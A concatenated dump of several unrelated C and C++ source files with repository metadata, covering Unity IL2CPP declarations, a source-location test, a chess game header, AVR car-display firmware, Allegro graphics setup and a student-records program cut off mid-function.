InputField_GetLineStartPosition_m1032176150 (Il2CppObject * __this /* static, unused */, TextGenerator_t538854556 * ___gen0, int32_t ___line1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::GetLineEndPosition(UnityEngine.TextGenerator,System.Int32) extern "C" int32_t InputField_GetLineEndPosition_m293479951 (Il2CppObject * __this /* static, unused */, TextGenerator_t538854556 * ___gen0, int32_t ___line1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::SetDrawRangeToContainCaretPosition(System.Int32) extern "C" void InputField_SetDrawRangeToContainCaretPosition_m2772169252 (InputField_t609046876 * __this, int32_t ___caretPos0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::ForceLabelUpdate() extern "C" void InputField_ForceLabelUpdate_m3497155803 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::MarkGeometryAsDirty() extern "C" void InputField_MarkGeometryAsDirty_m178860986 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::Rebuild(UnityEngine.UI.CanvasUpdate) extern "C" void InputField_Rebuild_m4149891194 (InputField_t609046876 * __this, int32_t ___update0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::LayoutComplete() extern "C" void InputField_LayoutComplete_m3197989932 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::GraphicUpdateComplete() extern "C" void InputField_GraphicUpdateComplete_m2162277955 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::UpdateGeometry() extern "C" void InputField_UpdateGeometry_m3381617668 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::AssignPositioningIfNeeded() extern "C" void InputField_AssignPositioningIfNeeded_m20735637 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnFillVBO(UnityEngine.Mesh) extern "C" void InputField_OnFillVBO_m2411846934 (InputField_t609046876 * __this, Mesh_t4241756145 * ___vbo0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::GenerateCaret(UnityEngine.UI.VertexHelper,UnityEngine.Vector2) extern "C" void InputField_GenerateCaret_m2836783818 (InputField_t609046876 * __this, VertexHelper_t3377436606 * ___vbo0, Vector2_t4282066565 ___roundingOffset1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::CreateCursorVerts() extern "C" void InputField_CreateCursorVerts_m1990252457 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::GenerateHightlight(UnityEngine.UI.VertexHelper,UnityEngine.Vector2) extern "C" void InputField_GenerateHightlight_m3464703695 (InputField_t609046876 * __this, VertexHelper_t3377436606 * ___vbo0, Vector2_t4282066565 ___roundingOffset1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Char UnityEngine.UI.InputField::Validate(System.String,System.Int32,System.Char) extern "C" Il2CppChar InputField_Validate_m4235185069 (InputField_t609046876 * __this, String_t* ___text0, int32_t ___pos1, Il2CppChar ___ch2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::ActivateInputField() extern "C" void InputField_ActivateInputField_m2072753740 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::ActivateInputFieldInternal() extern "C" void InputField_ActivateInputFieldInternal_m2572296937 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnSelect(UnityEngine.EventSystems.BaseEventData) extern "C" void InputField_OnSelect_m1785968830 (InputField_t609046876 * __this, BaseEventData_t2054899105 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnPointerClick(UnityEngine.EventSystems.PointerEventData) extern "C" void InputField_OnPointerClick_m2029011499 (InputField_t609046876 * __this, PointerEventData_t1848751023 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::DeactivateInputField() extern "C" void InputField_DeactivateInputField_m2310323789 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnDeselect(UnityEngine.EventSystems.BaseEventData) extern "C" void InputField_OnDeselect_m1884183999 (InputField_t609046876 * __this, BaseEventData_t2054899105 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnSubmit(UnityEngine.EventSystems.BaseEventData) extern "C" void InputField_OnSubmit_m3450763226 (InputField_t609046876 * __this, BaseEventData_t2054899105 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::EnforceContentType() extern "C" void InputField_EnforceContentType_m4178225210 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::SetToCustomIfContentTypeIsNot(UnityEngine.UI.InputField/ContentType[]) extern "C" void InputField_SetToCustomIfContentTypeIsNot_m1700869631 (InputField_t609046876 * __this, ContentTypeU5BU5D_t55041486* ___allowedContentTypes0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::SetToCustom() extern "C" void InputField_SetToCustom_m2598912359 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::DoStateTransition(UnityEngine.UI.Selectable/SelectionState,System.Boolean) extern "C" void InputField_DoStateTransition_m1731594340 (InputField_t609046876 * __this, int32_t ___state0, bool ___instant1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::UnityEngine.UI.ICanvasElement.IsDestroyed() extern "C" bool InputField_UnityEngine_UI_ICanvasElement_IsDestroyed_m2781637606 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Transform UnityEngine.UI.InputField::UnityEngine.UI.ICanvasElement.get_transform() extern "C" Transform_t1659122786 * InputField_UnityEngine_UI_ICanvasElement_get_transform_m2979159434 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR;
4c5176ffb6e6a0e25d454a191d23fc2f29ab0c87
f31e187c2adf60261f8921babbdfa51e17e8a4ab
/test/util/source/test_source.c
18af0218bbc20ccaa1fff1e6cd7f924e956e80ca
[]
no_license
RobertChenKFC/fartlang
3b8f420c648e44df62428c6047ec69f464c0edd8
b39cb55941bc14c336fc7765760fa61dc737af87
refs/heads/master
2023-07-25T14:05:32.765566
2021-09-09T11:56:27
2021-09-09T11:56:27
385,135,527
0
0
null
null
null
null
UTF-8
C
false
false
2,380
c
test_source.c
#include "util/source/source.h" #include <assert.h> int main() { FILE *file = fopen(__FILE__, "r"); Source *source = SourceFromFile(file); fclose(file); // 1. Test increment source point SourcePoint point; point.lineNo = 5; point.charNo = 39; SourcePointIncrement(source, &point); assert(point.lineNo == 5 && point.charNo == 40); SourcePointIncrement(source, &point); assert(point.lineNo == 6 && point.charNo == 0); SourcePointDecrement(source, &point); assert(point.lineNo == 5 && point.charNo == 40); // 2. Print a single-line location SourceLocation location; location.from.lineNo = 5; location.from.charNo = 19; location.to.lineNo = 5; location.to.charNo = 32; SourceLocationPrint(source, 1, SOURCE_COLOR_RED, &location); // 3. Print a multi-line location location.from.lineNo = 12; location.from.charNo = 22; location.to.lineNo = 14; location.to.charNo = 40; fprintf(stderr, "\n"); SourceLocationPrint(source, 1, SOURCE_COLOR_GREEN, &location); // 4. Print multiple single-line locations SourceLocation location2; SourceLocation location3; SourceLocation location4; location.from.lineNo = 3; location.from.charNo = 0; location.to.lineNo = 3; location.to.charNo = 2; location2.from.lineNo = 4; location2.from.charNo = 2; location2.to.lineNo = 4; location2.to.charNo = 6; location3.from.lineNo = 4; location3.from.charNo = 21; location3.to.lineNo = 4; location3.to.charNo = 28; location4.from.lineNo = 4; location4.from.charNo = 31; location4.to.lineNo = 4; location4.to.charNo = 33; fprintf(stderr, "\n"); SourceLocationPrint(source, 4, SOURCE_COLOR_YELLOW, &location, SOURCE_COLOR_YELLOW, &location2, SOURCE_COLOR_BLUE, &location3, SOURCE_COLOR_PURPLE, &location4); // 5. Print multiple multi-line locations location.from.lineNo = 21; location.from.charNo = 2; location.to.lineNo = 24; location.to.charNo = 24; location2.from.lineNo = 28; location2.from.charNo = 2; location2.to.lineNo = 31; location2.to.charNo = 25; location3.from.lineNo = 57; location3.from.charNo = 6; location3.to.lineNo = 60; location3.to.charNo = 36; fprintf(stderr, "\n"); SourceLocationPrint(source, 3, SOURCE_COLOR_RED, &location, SOURCE_COLOR_GREEN, &location2, SOURCE_COLOR_CYAN, &location3); SourceDelete(source); }
93eee436611da72a474cc4287f0dfb8de6308e54
5523eecb5aceebe8e34ba5300f80b70a0ff535f3
/item.h
f2cee65a6ce4ed94a06c72adf2ba7ca00f10d9c9
[]
no_license
igorssilva/Password-Cracking
9e9cc413db1292e2697539541d8e15cdfeba854a
9ad7660411001015fc8f8138138306d4ceee5f69
refs/heads/master
2020-04-08T13:56:37.263792
2018-11-27T23:30:59
2018-11-27T23:30:59
159,414,885
1
0
null
null
null
null
UTF-8
C
false
false
153
h
item.h
#ifndef ITEM_H #define ITEM_H typedef char Key; typedef int Value; #define NULL_Key -1 #define NULL_Value -1 #define compare(A, B) (A - B) #endif
8fc77d8d9f4199fd5420e34f0db7be3903960cd2
c47a07b6b401eb34a0f32f862537b7caf7294e32
/Chess/Game.h
8c3e74b7d21252aacaf581593e75a35d960bde1c
[]
no_license
lecuk/Chess
f415dbb38f587456a191a686dee6c7d3ad607612
172e721790cbbe193e0f3e6a7e78ae184892c1f8
refs/heads/master
2022-06-04T12:26:59.120792
2018-11-28T16:44:57
2018-11-28T16:44:57
null
0
0
null
null
null
null
UTF-8
C
false
false
2,423
h
Game.h
#ifndef GAME_H #define GAME_H #include <stdio.h> #include <stdlib.h> #include <string.h> #include <conio.h> #include "GameRules.h" #define C_RESET "\033[0m" #define C_BOLD "\033[1m" #define C_FAINT "\033[2m" #define C_ITALIC "\033[3m" #define C_UNDERLINE "\033[4m" #define C_BLACK "\033[38;5;232m" #define C_RED "\033[38;5;196m" #define C_GREEN "\033[38;5;46m" #define C_YELLOW "\033[38;5;226m" #define C_BLUE "\033[38;5;21m" #define C_MAGENTA "\033[38;5;201m" #define C_CYAN "\033[38;5;51m" #define C_WHITE "\033[38;5;255m" #define C_LGRAY "\033[38;5;250m" #define C_DGRAY "\033[38;5;240m" #define C_BACK_BLACK "\033[48;5;232m" #define C_BACK_RED "\033[48;5;196m" #define C_BACK_GREEN "\033[48;5;46m" #define C_BACK_YELLOW "\033[48;5;226m" #define C_BACK_BLUE "\033[48;5;21m" #define C_BACK_MAGENTA "\033[48;5;201m" #define C_BACK_CYAN "\033[48;5;51m" #define C_BACK_WHITE "\033[48;5;231m" #define C_BACK_LGRAY "\033[48;5;250m" #define C_BACK_DGRAY "\033[48;5;238m" #define C_BOARD_TILE1 "\033[48;5;172m" #define C_BOARD_TILE2 "\033[48;5;196m" #define C_BOARD_BORDER "\033[48;5;124m" #define C_BOARD_COORDS "\033[38;5;220m" typedef char MoveText[8]; typedef enum GameState { WaitingForFirstMove, Playing, WhiteWon, BlackWon, Draw, Stopped } GameState; typedef enum GameResult { Checkmate, Stalemate, NotEnoughMaterial, AgreedToDraw, Resign, Timeout, UnknownResult } GameResult; typedef struct Game { Board *mainBoard; int currentMove; Board *positions[MAX_MOVES]; MoveText moves[MAX_MOVES]; Player playerTurn; GameState state; GameResult result; bool whiteComputerActive, blackComputerActive; } Game; Point ReadChessNotationPosition(char *position); char *PlayerToName(Player player); void MoveToText(MoveText text, DOUBLE_COORDS_PARAMS); Point ReadChessNotationPosition(char *position); bool ReadMove(char *getInput, Point *src, Point *dest); MoveData TryMove(Game *game, DOUBLE_COORDS_PARAMS); char *PieceToName(Piece piece); char *PieceToChar(Piece piece); Game *StartNewGame(); Game *StartGameFromPosition(const Position position); void PlayGame(Game *game); void CheckGameState(Game *game); bool TryCommand(Game *game, const char *command); void DrawGameBoard(Game *game); void WriteMoveToBuffer(MoveText buffer, MoveData data, bool check, bool checkmate); PromotionSelection GetPromotionInput(); void Command_Help(Game *game); void Command_Moves(Game *game); #endif
192dfc9c20b30bbb920cb55d34bfb890b8f9a06b
f794f3b0590754b1e34da941121580818906b8c1
/zapis_ramki/inout.c
ecdaa5e6aba173e31946532da88eb02979c23608
[]
no_license
chmielny/avr
ac25caaaeffdbf0cb12228bf3ea78d8f23acd962
42e1cebfc28753bcaaa671823e4060e56bba7086
refs/heads/master
2020-03-30T06:37:16.310382
2018-11-03T10:37:25
2018-11-03T10:37:25
150,874,966
0
0
null
null
null
null
UTF-8
C
false
false
6,973
c
inout.c
#include <avr/io.h> #include <avr/interrupt.h> #include <util/delay.h> #include <stdbool.h> #include <stdio.h> #define ENA PB0 #define DATA PB1 #define CLK PB2 #define ENA_IN PD2 #define DATA_IN PD1 #define CLK_IN PD3 volatile unsigned char dataframe[14]; volatile uint8_t iter; volatile bool sender_busy; volatile bool fis_run; volatile uint8_t fis_close_count; volatile unsigned char in_dataframe[18]; volatile uint8_t iter_in; volatile uint8_t ena; ISR (TIMER1_COMPA_vect) { if(iter < 112) { PORTB ^= (1 << CLK); if(!(iter % 2)) { if ((dataframe[iter / 16] & (128 >> (iter/2) % 8))) PORTB &= ~(1 << DATA); else PORTB |= (1 << DATA); } } else if (iter >= 112 && iter <= 114) { PORTB &= ~(1 << ENA); // czekamy } else if (iter > 114 && iter <= 226) { PORTB |= (1 << ENA); PORTB ^= (1 << CLK); if(!((iter - 114) % 2)) { if ((dataframe[(iter - 114) / 16] & (128 >> ((iter - 114)/2) % 8))) PORTB &= ~(1 << DATA); else PORTB |= (1 << DATA); } } else { TIMSK &= ~(1 << OCIE1A); // wyl. przerwanie na porownanie TCCR1B &= ~(1 << CS10); // wyl. zegar PORTB &= ~(1 << ENA); iter = 0; sender_busy = false; } iter = iter + 1; } ISR(INT0_vect) // przerwanie od ENA IN { if(ena == 0) { ena++; GICR |= (1 << INT1); iter_in = 0; } else if(ena == 1) { ena = 1; } else if(ena == 2) { ena = 0; GICR &= ~(1 << INT1); } } ISR(INT1_vect) // przerwanie od CLK IN { if(ena == 1) ena = 2; in_dataframe[iter_in / 8] &= ~(1 << (7 - (iter_in % 8))); in_dataframe[iter_in / 8] |= (!(PIND & (1 << DATA_IN))) << (7 - (iter_in % 8)); iter_in++; } void fis_start(void) { // ustawienie timera 1 TCCR1B |= (1 << WGM12); // tryb ctc OCR1A = 422; // dla takiej wartosci gran. jest ok. 9.7 kHz // sekwencja startowa fis if (fis_run == false) { // jezeli fis nie zostal jeszcze wlaczony fis_run = true; DDRB |= (1 << ENA) | (1 << DATA) | (1 << CLK); PORTB &= ~(1 << ENA); PORTB |= (1 << DATA) | (1 << CLK); _delay_ms(4); PORTB &= ~((1 << DATA) | (1 << CLK)); _delay_ms(1); PORTB |= (1 << DATA) | (1 << CLK); _delay_ms(1); PORTB &= ~((1 << DATA) | (1 << CLK)); _delay_ms(75); PORTB |= (1 << DATA) | (1 << CLK); _delay_ms(37); PORTB |= (1 << ENA); _delay_ms(100); } return; } void fis_send_frame(void) { uint8_t i; if (fis_run) { // jezeli fis wlaczony for(i=0;i<7;++i) dataframe[i+7] = dataframe[i]; iter = 0; PORTB &= ~(1 << ENA); _delay_ms(0.05); PORTB |= (1 << ENA); _delay_ms(0.1); PORTB &= ~(1 << ENA); _delay_ms(0.1); PORTB |= (1 << ENA); sender_busy = true; TCCR1B |= (1 << CS10); // bez preskalera TIMSK |= (1 << OCIE1A); // przerwanie na porownanie } } void fis_close(void) { if (fis_run) { PORTB &= ~((1 << ENA) | (1 << DATA) | (1 << CLK)); _delay_ms(43); PORTB |= (1 << DATA); _delay_ms(2.1); PORTB &= ~(1 << DATA); PORTB |= (1 << ENA); _delay_ms(2.6); PORTB &= ~((1 << ENA) | (1 << DATA) | (1 << CLK)); fis_run = false; } } // tryb cd, parametry: nr cd, nr piosenki void fis_cd(char cd_number[2], char track[2]) { dataframe[1] =8; dataframe[2] =track[0]; dataframe[3] =track[1]; dataframe[4] =cd_number[0]; dataframe[5] =cd_number[1]; dataframe[6] =0; fis_send_frame(); } void fis_tape() { dataframe[0] =34; dataframe[1] =64; dataframe[2] ='0'; dataframe[3] ='5'; dataframe[4] ='3'; dataframe[5] ='1'; dataframe[6] = 0; fis_send_frame(); } // tryb radia, parametry: nr banku, nr programu, czestotliwosc, czy rds void fis_fm(char bank, char prog, char freq[4], bool rds) { if(bank == '1') dataframe[0] =26 + rds * 64; else dataframe[0] =30 + rds * 64; dataframe[1] =2; // stereo wlaczone dataframe[2] =freq[0]; dataframe[3] =freq[1]; dataframe[4] =freq[2]; dataframe[5] =freq[3]; dataframe[6] = ((prog - 48) << 4); fis_send_frame(); } void fis_am(char freq[4]) { dataframe[0] =34; dataframe[1] =0; dataframe[2] =freq[0]; dataframe[3] =freq[1]; dataframe[4] =freq[2]; dataframe[5] =freq[3]; dataframe[6] = 0; fis_send_frame(); } bool checksum(char data[18]) { uint16_t sum; uint8_t i; sum = 0; for(i=0; i<17; ++i) { sum += data[i]; } if( ((sum % 256) + data[17]) == 255) return true; else return false; } void restart_close_count() { TCNT0 = 0; fis_close_count = 0; TIMSK |= 1 << TOIE0; } ISR(TIMER0_OVF_vect) { if(fis_close_count > 60) { // regulacja czasu timeoutu TIMSK &= ~(1 << TOIE0); fis_close(); fis_close_count = 0; } fis_close_count++; } int main(void) { DDRB |= (1 << ENA) | (1 << DATA) | (1 << CLK); // piny wyjsciowe do starego fisa DDRD &= ~((1 << ENA_IN) | (1 << DATA_IN) | (1 << CLK_IN)); // piny wejsciowe do nowego fisa MCUCR |= (1 << ISC11) | (1 << ISC01); // przerwania na zboczach opadajacych GICR |= (1 << INT0); fis_run = false; ena = 0; iter_in = 0; TCCR0 |= (1 << CS02) | (1 << CS00); // timer do wylaczania fisa, preskaler 1024 sei(); while (1) { // if((ena == 0) && (in_dataframe[0] == 240) && checksum(in_dataframe)) { if((ena == 0) && (in_dataframe[0] == 240)) { if (in_dataframe[1] == 'C' && in_dataframe[2] == 'D' && in_dataframe[9] == 'T' && in_dataframe[10] == 'R') { // jezeli CD fis_start(); fis_cd(&in_dataframe[4], &in_dataframe[12]); // restart_close_count(); } else if(in_dataframe[9] == 'F' && in_dataframe[10] == 'M') { // jezeli fm program if( in_dataframe[12] != '-') { in_dataframe[13] = 0; } if( in_dataframe[4] >= 48 && in_dataframe[4] <= 57 && in_dataframe[5] >= 48 && in_dataframe[5] <= 57 && in_dataframe[6] == '.' && in_dataframe[7] >= 48 && in_dataframe[7] <= 57) { in_dataframe[6] = in_dataframe[7]; if(in_dataframe[3] != '1') in_dataframe[3] = '0'; fis_start(); fis_fm(in_dataframe[11], in_dataframe[13], &in_dataframe[3], false); // bez rds } else { in_dataframe[3] = '1'; in_dataframe[4] = '0'; in_dataframe[5] = '0'; in_dataframe[6] = '0'; fis_start(); fis_fm(in_dataframe[11], in_dataframe[13], &in_dataframe[3], true); //rds } } else if(in_dataframe[1] == 'T' && in_dataframe[2] == 'A' && in_dataframe[3] == 'P' && in_dataframe[4] == 'E') { // jezeli tape fis_start(); fis_tape(); } else if(in_dataframe[9] == 'A' && in_dataframe[10] == 'M') { // jezeli AM if(in_dataframe[3] < 48 || in_dataframe[3] > 57) in_dataframe[3] = '0'; fis_start(); fis_am(&in_dataframe[3]); } else if (in_dataframe[1] == 0 && in_dataframe[2] == 0 && in_dataframe[3] == 0 && in_dataframe[4] == 0 && // jezeli wylaczone in_dataframe[5] == 0 && in_dataframe[6] == 0 && in_dataframe[7] == 0 && in_dataframe[8] == 0 && in_dataframe[9] == 0 && in_dataframe[10] == 0 && in_dataframe[11] == 0 && in_dataframe[12] == 0 && in_dataframe[13] == 0 && in_dataframe[14] == 0 && in_dataframe[15] == 0 && in_dataframe[16] == 0 && in_dataframe[17]) { fis_close(); } in_dataframe[0] = 0; } } }
8c1f616af67b8ee4d35f57022905a85ce20c89ec
303213696ceb3af098c1c88d92cbdb597eef6991
/fillit/libft/ft_striteri.c
73ff1fe280636981e501583787a72e86e4e7d6aa
[]
no_license
qdiaz/42_projects
02efff63e976e081b703ff4a57a357d1b899a34d
16af33eb5567378b4eb901e49c4b77622a5c5e96
refs/heads/master
2020-05-21T12:30:23.495291
2018-03-26T15:58:02
2018-03-26T15:58:02
47,341,296
0
0
null
null
null
null
UTF-8
C
false
false
1,140
c
ft_striteri.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_striteri.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: adu-pelo <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2015/11/30 11:01:03 by adu-pelo #+# #+# */ /* Updated: 2015/12/07 11:17:50 by adu-pelo ### ########.fr */ /* */ /* ************************************************************************** */ #include "libft.h" void ft_striteri(char *s, void (*f)(unsigned int, char *)) { unsigned int i; unsigned int len; i = 0; len = (unsigned int)ft_strlen(s); if (s != NULL && f != NULL) { while (i < len) { f(i, s + i); i++; } } }
1a739d455f433a8e86cb0753eef65780d7156a9b
cd3a0da00443d6c21bc196112f323ec8b6e8f392
/FaceCaptureSdk/Common/Performance.h
eb9f7015049d9c9960d3f3e419d5a8ddda611c85
[]
no_license
linuxmap/nazhiai
021defdec6e07cb6765cb09e2fc972175a09141b
6ccebcb28384423a7bf8ff89673079790f7d2d29
refs/heads/master
2020-03-28T16:52:55.780341
2018-09-14T03:30:33
2018-09-14T03:30:33
null
0
0
null
null
null
null
UTF-8
C
false
false
1,223
h
Performance.h
#ifndef _PERFORMANCE_HEADER_H_ #define _PERFORMANCE_HEADER_H_ #if defined(DEVELOPMENT) #define PRINT printf #define DO_IF(exp, cond) if (cond) {\ exp;\ } #else #define PRINT #define DO_IF(exp, cond) #endif #ifdef LOG_PERFORMANCE #define START_EVALUATE(module) clock_t clock_t_##module = clock() #define PRINT_COSTS(module) PRINT("%s::%s costs: %d\n", __FUNCTION__, #module, clock() - clock_t_##module) #define PRINT_TAG_COSTS(module, tag) PRINT("%s::%s::%s costs: %d\n", __FUNCTION__, #module, #tag, clock() - clock_t_##module) #define COSTS(module) (clock() - clock_t_##module) #define START_FUNCTION_EVALUATE() clock_t clock_t_this_function = clock() #define PRINT_FUNCTION_COSTS() PRINT("%s costs: %d\n", __FUNCTION__, clock() - clock_t_this_function) #define PRINT_FUNCTION_TAG_COSTS(tag) PRINT("%s::%s costs: %d\n", __FUNCTION__, #tag, clock() - clock_t_this_function) #else #define START_EVALUATE(module) #define PRINT_COSTS(module) #define PRINT_TAG_COSTS(module, tag) #define COSTS(module) #define START_FUNCTION_EVALUATE() #define PRINT_FUNCTION_COSTS() #define PRINT_FUNCTION_TAG_COSTS(tag) #endif #ifdef TRACK_PERFORMANCE #define TRACK PRINT #else #define TRACK #endif #endif
0044f0a79a3a56c777d9a81bdc8ec569891274d5
33721a1e3b7430096278c6b8b5e2de66ebb662d4
/main/graphics.c
99551f14faf385abe8679941627c5cca146374ee
[]
no_license
pNre/escape-the-maze
0e8d22198c7a8f09a92e7631c888cce51720d791
77f4fa8e8d2ac228755cf1b04edca54993a6dbe1
refs/heads/master
2020-04-17T08:24:43.730991
2019-01-19T14:21:27
2019-01-19T14:24:30
166,410,923
2
0
null
null
null
null
UTF-8
C
false
false
3,890
c
graphics.c
#include <stdlib.h> #include <allegro5/allegro5.h> #include <allegro5/allegro_image.h> #include <allegro5/allegro_font.h> #include <allegro5/allegro_primitives.h> #include <allegro5/allegro_audio.h> #include "misc/geometry.h" #include "main/timer.h" #include "main/graphics.h" graphic_context_t main_context; int graphics_initialize_library(void) { // inizializzazione libreria if (!al_init()) return -1; // tastiera if (!al_install_keyboard()) return -2; // addon per il caricamento delle immagini if (!al_init_image_addon()) return -3; // addon per il testo al_init_font_addon(); // primitive (funzioni per disegnare rettangoli, ...) if (!al_init_primitives_addon()) return -4; // modalità finestra al_set_new_display_flags(ALLEGRO_WINDOWED); return 0; } int graphics_initialize(hashtable_t * config) { // dimensione dell'area di gioco dimension_t screen_area_default = SizeMake(800, 600); dimension_t * screen_area = hashtable_search(config, "screen"); // se nel file di configurazione non ci sono informazioni sulle dimensioni, // si utilizzano quelle di default if (!screen_area) screen_area = &screen_area_default; // creazione finestra main_context.display = al_create_display(screen_area->width, screen_area->height); if (!main_context.display) return -1; // titolo al_set_window_title(main_context.display, "Gara tra i labirinti"); // origine degli assi main_context.origin = PointZero; // coda degli eventi main_context.event_queue = al_create_event_queue(); if (!main_context.event_queue) return -2; // timer main_context.timer = ttimer_new(TIMER_FREQUENCY); // registrazione delle sorgenti degli eventi al_register_event_source(main_context.event_queue, al_get_keyboard_event_source()); al_register_event_source(main_context.event_queue, al_get_display_event_source(main_context.display)); // font char * font = hashtable_search(config, "font"); if (font) graphics_load_font(font); return 0; } void graphics_destroy(void) { al_destroy_display(main_context.display); al_destroy_event_queue(main_context.event_queue); al_destroy_font(main_context.font[0]); al_destroy_font(main_context.font[1]); ttimer_delete(main_context.timer); } dimension_t graphics_get_screen_size(void) { return SizeMake(al_get_display_width(main_context.display), al_get_display_height(main_context.display)); } void graphics_load_font(char * path) { ALLEGRO_BITMAP * font = al_load_bitmap(path); if (!font) return; dimension_t font_size = SizeMake(al_get_bitmap_width(font), al_get_bitmap_height(font)); dimension_t big_font_size = SizeMultiplyBySize(font_size, SizeMake(2., 2.)); // ingrandimento del font normale ALLEGRO_BITMAP * font_big = al_create_bitmap(big_font_size.width, big_font_size.height); al_set_target_bitmap(font_big); al_draw_scaled_bitmap(font, 0, 0, font_size.width, font_size.height, 0, 0, big_font_size.width, big_font_size.height, 0); al_set_target_backbuffer(main_context.display); al_convert_mask_to_alpha(font, al_map_rgb(0, 0, 0)); al_convert_mask_to_alpha(font_big, al_map_rgb(0, 0, 0)); debugf("[Font] %s caricato\n", path); int ranges[] = { 0x0020, 0x007F }; main_context.font[0] = al_grab_font_from_bitmap(font, sizeof(ranges) / (sizeof(int) * 2), ranges); main_context.font[1] = al_grab_font_from_bitmap(font_big, sizeof(ranges) / (sizeof(int) * 2), ranges); } void graphics_fonts_swap(void) { ALLEGRO_FONT * f = main_context.font[0]; main_context.font[0] = main_context.font[1]; main_context.font[1] = f; }
6034bc211812f58ad174dd2c3911a3e675a14dc9
90f4ba9616a2ecf25f979281e424f257b15468d1
/Dynamic Linked Lists and File Manipulation/assign5.c
5706e999bd704a63a3f784acfeedf17231f57bde
[ "MIT" ]
permissive
Beesham/C-Programs
423f414bca2563586c001ce0b1d4562941dc5b2c
9541ad911b7759b606272249440f99ba2003dbb1
refs/heads/master
2020-12-03T10:30:51.437576
2017-08-17T23:54:22
2017-08-17T23:54:22
95,606,839
0
0
null
null
null
null
UTF-8
C
false
false
16,872
c
assign5.c
/* Author: Beesham Sarendranauth, 104854956 Date: 2017/08/22 Description: This program maintains a file of students and their course info using concepts of structures, pointers, memory allocation, and file manipulation. *Note: the output file can be read with a sophisticated text editor such as Notepad++ for better human readability */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #define STUDENT_ID_LEN 9 #define FIRST_NAME_LEN 20 #define LAST_NAME_LEN 25 #define COURSE_NAME_LEN 30 #define MAX_COURSES 10 #define EOF_MARKER "***" #define FLAG_DISP_ALL 0 #define FLAG_DISP 1 //Course info struct typedef struct courseInfo { int courseId; char courseName[COURSE_NAME_LEN]; } CourseInfo; //Student info struct typedef struct studentInfo { char studentId[STUDENT_ID_LEN + 1]; char firstName[FIRST_NAME_LEN + 1]; char lastName[LAST_NAME_LEN + 1]; int numOfAttentingCourses; CourseInfo courseInfoArr[MAX_COURSES]; struct studentInfo *next; } StudentInfo; typedef StudentInfo* StudentInfoPtr; enum choice{ ADD = 1, DELETE, DISPLAY, SEARCH, SAVE, EXIT }; //prototypes void addStudent(StudentInfoPtr *head, StudentInfoPtr student); void deleteStudent(StudentInfoPtr *head, const char *studentId); StudentInfoPtr searchStudentId(StudentInfoPtr *head, const char *studentId); StudentInfoPtr searchStudentName(StudentInfoPtr *head, const char *studentLastName); void displayStudentInfo(StudentInfoPtr *head, int FLAG, StudentInfoPtr studentInfo); void saveStudentInfo(StudentInfoPtr *head); void loadStudentInfo(const char *fileName, StudentInfoPtr *studentInfoPtr); void terminate(StudentInfoPtr *head); void formatName(char *string); void convertToUppercase(char *string); StudentInfoPtr promptForStudentInfo(); int menu(); int main(void){ char *fileName = "studentList.txt"; StudentInfoPtr studentInfoPtr = NULL; //Head of list (init no nodes) loadStudentInfo(fileName, &studentInfoPtr); int choice; while((choice = menu()) != EXIT) { switch(choice) { case ADD: { addStudent (&studentInfoPtr, promptForStudentInfo()); break; } case DELETE: { char input[STUDENT_ID_LEN + 1]; printf("%s", "Please enter student id to delete: "); scanf("%9s", input); if(input != NULL) deleteStudent(&studentInfoPtr, input); break; } case DISPLAY: { displayStudentInfo(&studentInfoPtr, FLAG_DISP_ALL, NULL); break; } case SEARCH: { char input[LAST_NAME_LEN + 1]; printf("%s", "Please enter student id or last name to search: "); scanf("%s", input); //Validates the input from the user for either id or name { char *strLeftovers = NULL; long ret; ret = strtol(input, &strLeftovers, 10); 